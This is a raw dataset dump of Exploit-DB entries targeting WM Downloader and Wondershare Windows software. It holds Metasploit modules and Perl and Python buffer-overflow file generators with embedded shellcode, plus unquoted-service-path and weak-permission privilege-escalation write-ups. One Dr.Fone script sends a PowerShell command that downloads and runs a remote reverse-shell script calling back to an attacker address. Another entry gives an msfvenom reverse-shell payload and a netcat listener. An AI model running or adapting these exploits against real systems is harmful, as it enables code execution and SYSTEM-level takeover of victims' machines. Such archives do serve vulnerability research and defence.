deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12388
Description: WM Downloader 3.0.0.9 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-04-25
Author: blake

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'WM Downloader Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in WM Downloader
version 3.0.0.9.
            By creating a specially crafted .pls file, an an attacker may be
able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' =>
                [
                    'Blake',
                ],
            'Version' => '$Revision: 1 $',
            'References' =>
                [
                    [ 'OSVDB', '62614' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11384' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload' =>
                {
                    'Space' => 1904,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x7C96BF33} ],         #
ntdll.dll JMP ESP
                ],
            'Privileged' => false,
            'DisclosureDate' => 'Feb 10 2010',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.',
'exploit.pls']),
            ], self.class)
    end


    def exploit

        sploit = rand_text_alphanumeric(26084)
        sploit << [target.ret].pack('V')
        sploit << make_nops(20)
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(28000 - payload.encoded.length)

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end
Exploit-DB #14527
Description: WM Downloader 3.1.2.2 - Local Buffer Overflow (1)
Type: local
Platform: windows
Date: 2010-08-02
Author: s-dz

Exploit:
#!/usr/bin/perl
# WM Downloader 3.1.2.2  (.m3u) File WinXP Sp3(fr) Buffer Overflow stack Exploit
# Author: hadji samir       , s-dz@hotmail.fr
# Download : 
# Tested : Windows XP SP3 (fr)
# DATE   : 2010-07-31
###################################################################
# thanks mo3tazz et zaitoun lakhal m3a slada naklouh ;)
#  vive  TCT 05 et DGM8
###################################################################

my $file= "mahboul-3lik.m3u";
my $junk= "http://"."\x42" x  17417;
my $junk1= "\x41" x  10570;
my $ret  = pack('V', 0x7C874413);# jmp esp KERNEL32.DLL
my $nops ="\x90" x 24;

#/*
 #* windows/exec - 223 bytes
 #* http://www.metasploit.com
 #* Encoder: x86/shikata_ga_nai
 #* EXITFUNC=thread, CMD=calc
 #*/
my $shell = 
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . 
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . 
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . 
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . 
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . 
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . 
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . 
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . 
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . 
"\x7f\xe8\x7b\xca"; 

open($FILE, ">$file");
print($FILE $junk.$ret.$nops.$shell.$junk1);
close($FILE);
print("exploit created successfully");
Exploit-DB #16642
Description: WM Downloader 3.1.2.2 - Local Buffer Overflow (Metasploit) (2)
Type: local
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: wm_downloader_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WM Downloader 3.1.2.2 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
				the application is used to import a specially crafted m3u file, a buffer overflow occurs
				allowing arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'fdisk', 	# Original Exploit
					'dookie'	# MSF Module
				],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '66911'],
					[ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x09\x0a",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ],	# p/p/r in WDfilter03.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 28 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
			], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(43480)	# Offset for WinXP
		sploit << "\xeb\x20\x90\x90"		# Jump to the nops after the 2nd offset
		sploit << [target.ret].pack('V')	# Offset
		sploit << rand_text_alpha_upper(16)	# Pad to reach the Win7 Offset
		sploit << "\xeb\x0C\x90\x90" 		# Jump over the cruft
		sploit << [target.ret].pack('V')	# Offset
		sploit << "\x90" * 8
		sploit << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end
Exploit-DB #14497
Description: WM Downloader 3.1.2.2 2010.04.15 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-07-28
Author: fdiskyou

Exploit:
#!/usr/bin/python
# Exploit Title: WM Downloader 3.1.2.2 2010.04.15 Buffer Overflow (SEH)
# Date: 2010-07-28
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 3.1.2.2 2010.04.15
# Tested on Windows XP SP3 en

payload = "\x41" * 43485 
payload += "\xeb\x16\x90\x90" # jump
payload += "\xb4\x15\xbb\x01" # ppr - WDCodec00.dll
payload += "\x90" * 16 
# windows/exec - 227 bytes x86/shikata_ga_nai EXITFUNC=thread, CMD=calc.exe
payload += ("\xdb\xdf\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x33\xba\x4c\xa8\x75"
"\x76\x83\xc0\x04\x31\x50\x13\x03\x1c\xbb\x97\x83\x60\x53\xde"
"\x6c\x98\xa4\x81\xe5\x7d\x95\x93\x92\xf6\x84\x23\xd0\x5a\x25"
"\xcf\xb4\x4e\xbe\xbd\x10\x61\x77\x0b\x47\x4c\x88\xbd\x47\x02"
"\x4a\xdf\x3b\x58\x9f\x3f\x05\x93\xd2\x3e\x42\xc9\x1d\x12\x1b"
"\x86\x8c\x83\x28\xda\x0c\xa5\xfe\x51\x2c\xdd\x7b\xa5\xd9\x57"
"\x85\xf5\x72\xe3\xcd\xed\xf9\xab\xed\x0c\x2d\xa8\xd2\x47\x5a"
"\x1b\xa0\x56\x8a\x55\x49\x69\xf2\x3a\x74\x46\xff\x43\xb0\x60"
"\xe0\x31\xca\x93\x9d\x41\x09\xee\x79\xc7\x8c\x48\x09\x7f\x75"
"\x69\xde\xe6\xfe\x65\xab\x6d\x58\x69\x2a\xa1\xd2\x95\xa7\x44"
"\x35\x1c\xf3\x62\x91\x45\xa7\x0b\x80\x23\x06\x33\xd2\x8b\xf7"
"\x91\x98\x39\xe3\xa0\xc2\x57\xf2\x21\x79\x1e\xf4\x39\x82\x30"
"\x9d\x08\x09\xdf\xda\x94\xd8\xa4\x05\x77\xc9\xd0\xad\x2e\x98"
"\x59\xb0\xd0\x76\x9d\xcd\x52\x73\x5d\x2a\x4a\xf6\x58\x76\xcc"
"\xea\x10\xe7\xb9\x0c\x87\x08\xe8\x6e\x46\x9b\x70\x5f\xed\x1b"
"\x12\x9f")
payload += "\x90" * 16

file = open("playlist.m3u", "w")
file.write(payload)
file.close()

print "m3u file generated successfuly"
Exploit-DB #47647
Description: Wondershare Application Framework Service - _WsAppService_ Unquote Service Path
Type: local
Platform: windows
Date: 2019-11-12
Author: chuyreds

Exploit:
# Exploit Title: Wondershare Application Framework Service - "WsAppService"  Unquote Service Path
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: chuyreds
# Vendor Homepage: https://www.wondershare.com/
# Software Link: https://www.wondershare.com/drfone/
# Version: 2.4.3.231
# Tested on: Windows 10 Home Single Language
# CVE : N/A

#Service Info:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Wondershare Application Framework Service	WsAppService	C:\Program Files (x86)\Wondershare\WAF\2.4.3.231\WsAppService.exe	Auto


C:\Users\user>sc query WsAppService

NOMBRE_SERVICIO: WsAppService
        TIPO               : 10  WIN32_OWN_PROCESS
        ESTADO             : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        CÓD_SALIDA_WIN32   : 0  (0x0)
        CÓD_SALIDA_SERVICIO: 0  (0x0)
        PUNTO_COMPROB.     : 0x0
        INDICACIÓN_INICIO  : 0x0
Exploit-DB #47617
Description: Wondershare Application Framework Service 2.4.3.231 - 'WsAppService' Unquote Service Path
Type: local
Platform: windows
Date: 2019-11-12
Author: chuyreds

Exploit:
# Exploit Title: Wondershare Application Framework Service 2.4.3.231 - 'WsAppService' Unquote Service Path
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: chuyreds
# Vendor Homepage: https://www.wondershare.com/
# Software Link: https://www.wondershare.com/drfone/
# Version: 2.4.3.231
# Tested on: Windows 10 Home Single Language
# CVE : N/A

# Explot-Wondershare WsAppService.txt

#Service Info:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Wondershare Application Framework Service           WsAppService      C:\Program Files (x86)\Wondershare\WAF\2.4.3.231\WsAppService.exe         Auto


C:\Users\user>sc query WsAppService

NOMBRE_SERVICIO: WsAppService
        TIPO               : 10  WIN32_OWN_PROCESS
        ESTADO             : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        CÓD_SALIDA_WIN32   : 0  (0x0)
        CÓD_SALIDA_SERVICIO: 0  (0x0)
        PUNTO_COMPROB.     : 0x0
        INDICACIÓN_INICIO  : 0x0
Exploit-DB #51324
Description: Wondershare Dr Fone 12.9.6 - Privilege Escalation
Type: local
Platform: windows
Date: 2023-04-07
Author: Thurein Soe

Exploit:
# Exploit Title: Wondershare Dr Fone 12.9.6 - Privilege Escalation
# Date: 14 March 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://drfone.wondershare.com
# Software Link: https://mega.nz/file/ZFd1TZIR#e2WfCX_ryaH08C3VNGZH1yAIG6DU01p-M_rDooq529I
# Version: Dr Fone version 12.9.6
# Tested on: Window 10 (10.0.19045.2604)
# CVE : CVE-2023-27010



*Vulnerability description*:

Wondershare Dr Fone version 12.9.6 running services named "WsDrvInst" on
Windows have weak service permissions and are susceptible to local
privilege escalation vulnerability. Weak service permissions run with
system user permission, allowing a standard user/domain user to elevate to
administrator privilege upon successfully modifying the service or
replacing the affected executable. DriverInstall.exe gave modification
permission to any authenticated users in the windows operating system,
allowing standard users to modify the service and leading to Privilege
Escalation.


C:\Users\NyaMeeEain\Desktop>cacls "C:\Program Files
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
C:\Program Files (x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe

Everyone:(ID)F

NT AUTHORITY\SYSTEM:(ID)F

BUILTIN\Administrators:(ID)F

BUILTIN\Users:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R
C:\Users\NyaMeeEain\Desktop>sc qc WsDrvInst
SERVICE_NAME: WsDrvInst
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50903
Description: Wondershare Dr.Fone 11.4.10 - Insecure File Permissions
Type: local
Platform: windows
Date: 2022-05-11
Author: AkuCyberSec

Exploit:
# Exploit Title: Wondershare Dr.Fone 11.4.10 - Insecure File Permissions
# Date: 04/25/2022
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
# Vendor Homepage: https://drfone.wondershare.com/
# Software Link: https://download.wondershare.com/drfone_full3360.exe
# Version: 11.4.10
# Tested on: Windows 10 64-bit

 # Note: The application folder "Wondershare Dr.Fone" may be different (e.g it will be "drfone" if we download the installer from the italian website)

 # Description:
 The application "Wondershare Dr. Fone" comes with 3 services: 
 1. DFWSIDService
 2. ElevationService
 3. Wondershare InstallAssist

 All the folders that contain the binaries for the services have weak permissions.
 These weak permissions allow any authenticated user to get SYSTEM privileges.

 First, we need to check if services are running using the following command:
 wmic service get name,displayname,pathname,startmode,startname,state | findstr /I wondershare

 Wondershare WSID help                     DFWSIDService               C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\WsidService.exe                          Auto 	LocalSystem	Running  
 Wondershare Driver Install Service help   ElevationService            C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\Addins\SocialApps\ElevationService.exe	Auto 	LocalSystem     Running  
 Wondershare Install Assist Service        Wondershare InstallAssist	C:\ProgramData\Wondershare\Service\InstallAssistService.exe                                     Auto 	LocalSystem     Running  

 Now we need to check if we have enough privileges to replace the binaries:

 icacls "C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone"
 Everyone:(OI)(CI)(F) <= the first row tells us that Everyone has Full Access (F) on files (OI = Object Inherit) and folders (CI = Container Inherit)
 ...

 icacls "C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\Addins\SocialApps"
 Everyone:(I)(OI)(CI)(F) <= same here
 ...

 icacls "C:\ProgramData\Wondershare\Service"
 Everyone:(I)(OI)(CI)(F) <= and here
 ...


# Proof of Concept:
1. Create an exe file with the name of the binary we want to replace  (e.g. WsidService.exe if we want to exploit the service "Wondershare WSID help") 
2. Put it in the folder (e.g. C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\)
3. After replacing the binary, wait the next reboot (unless the service can be restarted manually)

As a proof of concept we can generate a simple reverse shell using msfvenom, and use netcat as the listener:
simple payload: msfvenom --payload windows/shell_reverse_tcp LHOST=<YOUR_IP_ADDRESS> LPORT=<YOUR_PORT> -f exe > WsidService.exe
listener: nc -nlvp <YOUR_PORT>
Exploit-DB #50755
Description: Wondershare Dr.Fone 11.4.9 - 'DFWSIDService' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: Luis Martínez

Exploit:
# Exploit Title: Wondershare Dr.Fone 11.4.9 - 'DFWSIDService' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-17
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/drfone_full3360.exe
# Tested Version: 11.4.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DFWSIDService" | findstr /i /v """

Wondershare WSID help	DFWSIDService	C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\WsidService.exe	Auto


# Service info:

C:\>sc qc DFWSIDService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DFWSIDService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\WsidService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare WSID help
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #50813
Description: Wondershare Dr.Fone 12.0.18 - 'Wondershare InstallAssist' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-09
Author: Mohamed Alzhrani

Exploit:
# Exploit Title: Wondershare Dr.Fone 12.0.18 - 'Wondershare InstallAssist' Unquoted Service Path
# Discovery by: Mohamed Alzhrani
# Discovery Date: 2022-03-08
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/drfone_full3360.exe
# Tested Version: 12.0.18
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\Users\0xMaz>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Wondershare Install Assist Service	Wondershare InstallAssist	C:\ProgramData\Wondershare\Service\InstallAssistService.exe 	Auto


# Service info:

C:\Users\0xMaz>sc qc "Wondershare InstallAssist"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Wondershare InstallAssist
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\ProgramData\Wondershare\Service\InstallAssistService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Install Assist Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

The local user able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #50912
Description: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService)
Type: local
Platform: windows
Date: 2022-05-11
Author: Netanel Cohen

Exploit:
# Exploit Title: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService)
# Date: 4/27/2022
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44595
# References: https://github.com/netanelc305/WonderShell

#Wondershare Dr. Fone Latest version as of 2021-12-06 is vulnerable to Incorrect Access Control. A normal user can send manually crafted packets to the ElevationService.exe and #execute arbitrary code without any validation with SYSTEM privileges.

#!/bin/python3
import msgpackrpc

LADDR = "192.168.14.129"
LPORT =  1338

RADDR = "192.168.14.137"
RPORT = 12345

param = f"IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {LADDR} {int(LPORT)}"
client = msgpackrpc.Client(msgpackrpc.Address(RADDR, 12345))
result = client.call('system_s','powershell',param)

# stty raw -echo; (stty size; cat) | nc -lvnp 1338
Exploit-DB #49101
Description: Wondershare Driver Install Service help 10.7.1.321 - 'ElevationService' Unquote Service Path
Type: local
Platform: windows
Date: 2020-11-25
Author: Luis Sandoval

Exploit:
# Exploit Title: Wondershare Driver Install Service help 10.7.1.321 - 'ElevationService' Unquote Service Path
# Date: 2020-11-24
# Exploit Author: Luis Sandoval
# Vendor Homepage: https://www.wondershare.com/
# Software Link: https://www.wondershare.com/drfone/
# Version: 10.7.1.321
# Tested on: Windows 10 Home Single Language x64 Esp

# Service info:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Wondershare Driver Install Service help    ElevationService   C:\Program Files (x86)\Wondershare\Dr.Fone\Addins\Recovery\ElevationService.exe     Auto

C:\Users\user>sc qc ElevationService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ElevationService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Wondershare\Dr.Fone\Addins\Recovery\ElevationService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Wondershare Driver Install Service help
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #50757
Description: Wondershare FamiSafe 1.0 - 'FSService' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: Luis Martínez

Exploit:
# Exploit Title: Wondershare FamiSafe 1.0 - 'FSService' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-17
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download-es.wondershare.com/famisafe_full7869.exe
# Tested Version: 1.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "FSService" | findstr /i /v """

FSService	FSService	C:\Program Files (x86)\Wondershare\FamiSafe\FSService.exe	Auto


# Service info:

C:\>sc qc FSService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FSService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wondershare\FamiSafe\FSService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FSService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.